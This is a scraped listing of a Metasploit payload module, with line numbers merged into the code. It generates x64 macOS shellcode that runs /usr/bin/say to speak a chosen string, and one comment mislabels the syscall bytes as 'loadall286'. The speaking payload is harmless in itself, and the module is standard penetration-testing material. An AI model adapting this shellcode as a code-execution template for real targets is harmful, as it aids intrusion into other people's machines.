Path: blob/master/modules/payloads/singles/osx/x64/say.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 5378include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'OS X x64 say Shellcode',15'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',16'Author' => 'nemo <nemo[at]felinemenace.org>',17'License' => MSF_LICENSE,18'Platform' => 'osx',19'Arch' => ARCH_X6420)21)2223# exec payload options24register_options(25[26OptString.new('TEXT', [ true, 'The text to say', "Hello\!"]),27]28)29end3031# build the shellcode payload dynamically based on the user-provided CMD32def generate(_opts = {})33say = (datastore['TEXT'] || '') << "\x00"34call = "\xe8" + [say.length + 0xd].pack('V')3536"\x48\x31\xC0" + # xor rax,rax37"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b38call +39"/usr/bin/say\x00" +40say +41"\x48\x8B\x3C\x24" + # mov rdi,[rsp]42"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]43"\x48\x31\xD2" + # xor rdx,rdx44"\x52" + # push rdx45"\x41\x52" + # push r1046"\x57" + # push rdi47"\x48\x89\xE6" + # mov rsi,rsp48"\x0F\x05" # loadall28649end50end515253